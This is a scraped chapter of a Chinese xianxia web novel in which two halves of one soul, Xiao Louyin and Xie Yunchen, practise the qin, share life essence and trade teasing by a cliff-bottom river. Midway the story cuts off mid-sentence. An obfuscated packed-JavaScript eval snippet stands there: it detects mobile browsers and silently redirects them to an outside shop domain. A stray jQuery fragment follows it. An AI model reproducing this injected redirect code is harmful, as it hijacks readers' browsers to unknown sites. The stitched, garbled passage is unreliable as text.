文趣网 > 其他小说 > 第二篇水仙文 > 9. 第九章
    身躯灵脉如筛,饶是萧楼音,也无法修行神速。他将修行得来的灵力尽数用在治伤上,日常辟谷用辟谷丹来维持。

    近来,谢蕴尘因神魂虚弱而陷入沉睡的时候少了。他清醒时多,除了摇晃床边挂的铃铛外,没了别的乐趣。

    中途,他尝试着出去了一瞬,便被反弹了回来。一出去就晕。

    他无聊地摇晃着铃铛,半大的灵台内府回荡着不成音律的动静。

    萧楼音只在喂食命源的时候,来灵台内府。

    就着此人冰寒刺骨的手腕饮了几次命源后,谢蕴尘提出用杯盏来盛命源。

    命源流动,盛在剔透如玉的杯壁内,似血般艳靡。

    谢蕴尘端起白玉杯,贴近唇边,饮了小半口。此前想要啃萧楼音手腕的阴郁一扫而空,他轻舒眉眼:“人间美味。”

    萧楼音凝神片刻少年神魂被染红的唇瓣,观镜似地见他神情灵动,便问:“有何区别?”

    谢蕴尘敛神抬眼,语调呢喃:“萧楼音,你的命源是香的。此前,有魔物看上我,说我好香,我当时只觉诧异与恶心。我现在尝了,确实香。”

    “你要不要也试一试?”

    少年神魂以手肘支在桌前,温顺漂亮的眉眼透着几分惬意,朝他邀请道:“从前并未机缘,如今你也能尝尝自己的滋味了。”

    “我不怕疼,你可以直接咬。”

    谢蕴尘探出一截雪白腕骨。袖袍被撩起,那几道深浅不一的刀痕像白瓷裂开的痕迹。

    “萧楼音?”

    灵台内府中,嗓音无依地落在了空处。

    谢蕴尘慢慢收回手,握住杯壁,将命源饮尽,又玩起了铃铛。

    不多时,萧楼音往灵台内府丢了一张琴与一纸曲谱,说:“若是无事,便凝炼神魂。”

    谢蕴尘挪动过去,拾起那张曲谱,扫视几眼,问:“这是什么曲子?”

    “凝神曲。”

    谢蕴尘垂手拨动了下琴弦,音如清泉玉碎,是把好琴。

    应说是……好神魂,弹得响。

    他不是乐修,未学过琴。

    断续地练了一遍,他问外边的人:“萧楼音,好听吗?”

    “如身后的灵台。”

    破破烂烂。

    谢蕴尘:“……”

    他不甘心地拨指又弹了一遍,琴音回荡在灵台内府,连内府边壁都似受这琴音所惑,往外裂开了寸尺。

    弹累了,谢蕴尘顺从疲倦,昏昏睡去。

    河流旁,萧楼音睁开眼,唤出一柄普通长剑,就近练着。练至周遭萤虫都被惊走,崖底陷入幽深的漆黑,他仍旧未停。

    长久的黑暗流逝,忽有一寸虚耀撕裂瘴气,自萧楼音手中长剑惊掠,穿过如死水般的河面,令水花乍然激荡。

    剑光。

    萧楼音挥动长剑,身似飞花,很快斩落一式剑意。

    如镜面的剑轻颤作响,剑身侧震开一道轻细的裂痕。他动作未停,继续习剑。

    直至手中长剑蓦然断裂开来,萧楼音身形倏地静立下来。

    崖底重新陷入黑暗,他的心跳如鼓,久久未曾平静。那些惊走的萤虫逐渐飞了回来,幽绿的光照入他的眼中。

    萧楼音抬起手掌,按住心间,屈指握在虚空,僵持许久,方才往外抽了一寸。

    虚空似有剑鸣,却在转瞬间如雾般溃散殆尽。

    他的剑……

    萧楼音垂下手指,不再强撑,点了点储物戒中的辟谷丹,回到山洞沉下心神,进入灵台内府。

    少年神魂双臂环合地侧卧于床上。

    萧楼音捡起倒落的杯子,坐在琴前,指腹碰过琴弦,并未生出少年神魂弹琴时那般滚烫如火的燎灼感。

    谢蕴尘醒来时,率先听见一阵轻缓悦耳的琴音,然后睁开眼来。

    他坐起身,转眸望向不远处弹琴的那一袭雪衣。

    方才听了半曲,琴音便戛然而止。

    谢蕴尘同那双清寒的桃花眼对视上,开口问:“此时就不修炼了?”

    “过来。”萧楼音的声音似玉敲般好听,“教你弹琴。”

    哦。

    原来是嫌他弹得难听,着实忍不了。

    谢蕴尘气定神闲地下床,踩着冰凉,踱步走过去,坐于萧楼音身侧。

    红衣如花般铺散在萧楼音膝间。

    “记住我的指法。”

    萧楼音说罢,手指触弦拨动,曲自成调,流泻而出。

    谢蕴尘望向那双手。

    骨节分明,指白如玉,修长而漂亮,适合戴些饰物。

    他叩在一旁的手指轻敲了敲,心中念头转过,方才觉得这想法是在自夸。

    “记住了吗?”

    一曲落罢,谢蕴尘耳畔传来平淡的嗓音。

    “没记住。”他应声随口说,“我在看。”

    萧楼音问:“看什么?”

    “看你的手。”谢蕴尘道。

    身旁人静默良久。

    “看手好看。”谢蕴尘偏头同萧楼音对视上目光,神色坦然,“你不觉得我的手好看吗?”

    “不过一具外在皮囊。”

    萧楼音移开视线,放在琴间的手指无意勾起一道悠长的音。

    “真是奇怪。”谢蕴尘垂手勾起腰间金铃,红线堪堪缠绕莹白手指间,顺着那道悠长琴音微一晃动,“你身具一半凤凰血脉,怎么半点也不爱美。”

    “世间悦己者不在少数,何苦压抑本性。”

    谢蕴尘将指间金铃系在身旁人的腰间,方才抬手说:“现在开始教吧。”

    萧楼音沉沉默然,探身攥住那双手,掌心滚烫,叩于琴弦上。

    他的身量将少年神魂完全拢在怀中,谢蕴尘又不知在想些什么,方弹起音又意欲出声,被他冷淡呵止:“弹琴静心。”

    被带着双手弹了数遍,谢蕴尘抽手拂开萧楼音,没个正形地说:“累了。”

    他随手捡起凝神曲曲谱,开口问:“萧楼音,你的字怎么写得跟我一样?”

    萧楼音仍在弹琴:“是你的字源自于我。”

    “这也要计较?”谢蕴尘笑了下,语调一转,改口问,“萧楼音,萧楼音,我的字怎么写得跟你一样呢?”

    “本就是一人,有何诧异。”萧楼音道。

    谢蕴尘倚在这人身边,挑眉反问:“字一样,那琴怎么就弹不一样?”

    萧楼音弹完一曲,起身坐在对侧,望向他:“弹。”

    谢蕴尘:“……”

    他丢掉手中的曲谱,对着面前端坐的明月,弹了一曲沟渠照明月。

    明月面容间裂开一种疑似教书先生面对差学子屡次挫败后万分颓然的神情。

    谢蕴尘明知故问:“我弹得如何?”

    萧楼音忍完一曲,方才拂袖起身。

    神魂化作清烟抽离时,腰间挂的那枚金铃晃动着,发出捉弄般的动静。

    谢蕴尘笑够了,又继续上手弹那凝神曲。

    弹了数遍,他朝外面好奇地问:“萧楼音,你是不是把我的五音也剥出来祭魔物去了?”

    “没有。”

    萧楼音留下一句经验之谈:“多加弹习,定有所获。”

    谢蕴尘勾了下弦,弹累了便睡。

    意识恍惚之际,他似有所觉,睁开眼,就瞧见萧楼音如阴湿幽暗的魂灵般立于床侧。

    “一个时辰内,将其喝完。”

    萧楼音留下酒坛大小的命源,不欲多说,回了身体,留下意识尚未清醒的谢蕴尘同那大坛命源对视。

    这么多

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17956183|214251||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    命源用不完,怎地不把他揉捏作一团子,直接浸进坛里滚来滚去更方便些?

    谢蕴尘抬手敲敲脑袋,起身时掐算过跌落崖底的时日,心中了然。

    一个时辰后,萧楼音回到灵台内府,看向谢蕴尘,语气中带着些艰涩:“你出去,修你的人生百味道。”

    谢蕴尘笑着睁开眼,瞧见火堆前被长剑挑削得厚薄匀称的妖兽肉。

    上乘剑法,用来拆骨削肉也是极好。

    他从储物戒中翻找出自千香楼买的酱料涂抹于两面肉上,将其架在火上烤制。

    肉香四溢,周遭一片空荡,想必是萧楼音已将附近妖兽驱逐。

    谢蕴尘抽空垂眸扫过己身雪白素净的衣裳,取出储物戒里的新衣换上。心间那道伤口在萧楼音半月有余的修行照料下,只剩下一点淡粉色的疤痕,再消几日便能痊愈。

    萧楼音还将他过往留在腕间那些陈旧刀伤一同治了。

    谢蕴尘束起袖口,取下火架上的烤肉,撒上些灵草碎,启唇咬了半口。

    “萧楼音,你要尝尝吗?”

    谢蕴尘凝神朝灵台内府一问,只见萧楼音端坐其间,勾起了琴弦。

    琴音空灵,如高山流水,实在高雅。

    谢蕴尘久未进食,吃得较慢。他听着内府曲调,问道:“萧楼音,等我长到二十四,是不是就有你这般高了?”

    “及冠即可。”

    萧楼音的声音同琴音一起,跃至耳畔,异常动听。

    那还有两年。

    谢蕴尘修着自己的人生百味道,听曲作乐。

    一曲又一曲,终一曲。

    萧楼音按住琴弦问:“你还要修多久?”

    “吃饱?”谢蕴尘回。

    灵台内府内,萧楼音语气清疏:“你尚且年少,待到将来就知修行才是正途,无情至上。”

    原如高山流水般的动人嗓音忽地就变作了宛若沙河烁石那样难捱。

    谢蕴尘过耳便忘,取下最后一块烤好的肉,咬进唇齿间,眼睫忽地眨动了下。

    少年身躯原是靠坐在乱石边,倏然失力,朝河面倒去——

    萧楼音睁开眼来,身形如蝶,点水踏出湖面,回到乱石岸边,眼前明光闪掠。

    少年神魂贴面欺身,立在他眼前,语气轻妙地喊:“萧楼音。”

    神魂与少年适配,连身量都一般无二。魂灼炙热,连吐息都是暖的。

    “烤肉好吃吗?”

    萧楼音刚启唇齿,便赫然僵住。

    唇齿间的香气未散,肉质滑嫩软弹。

    谢蕴尘瞧见这张冷若冰霜的脸上头次出现些别的颜色,心中蔓延开恶劣而愉悦的情绪。

    他抬指抵住少年唇瓣:“吃下去。”

    萧楼音长睫轻掀,唇线瞬息绷紧,面不改色地咽了下去。

    捉弄的痛快席卷,谢蕴尘得意地弯起眉眼,漆黑的瞳泛起潋滟光华。他终于松开手指,往后随风飘去——

    忽地,一只透出冷冽寒意的手扣住他的后脖颈,将他按回来。

    那双眼仍旧空寂,没多少情绪,蕴着凉气的手指按在颈骨处,宛若侵进他的神魂般。

    “谢、蕴、尘。”

    萧楼音一字一句:“你……”

    话还未说得出,被按在近处的谢蕴尘双睫一合,径直栽进他怀中,这次是真晕了过去。

    萧楼音:“……”

    罢了。

    他静默瞬息,指骨自后颈划过,揽住少年神魂的肩,将其按回身体内。

    腕间金铃仍响,像少年摇个不停的热闹依旧环绕着。

    萧楼音垂视片刻,将谢蕴尘方才缠在腕骨边玩的金铃取了下来,握在掌心。

    崖底吹来一阵风。

    风仍动,铃却止。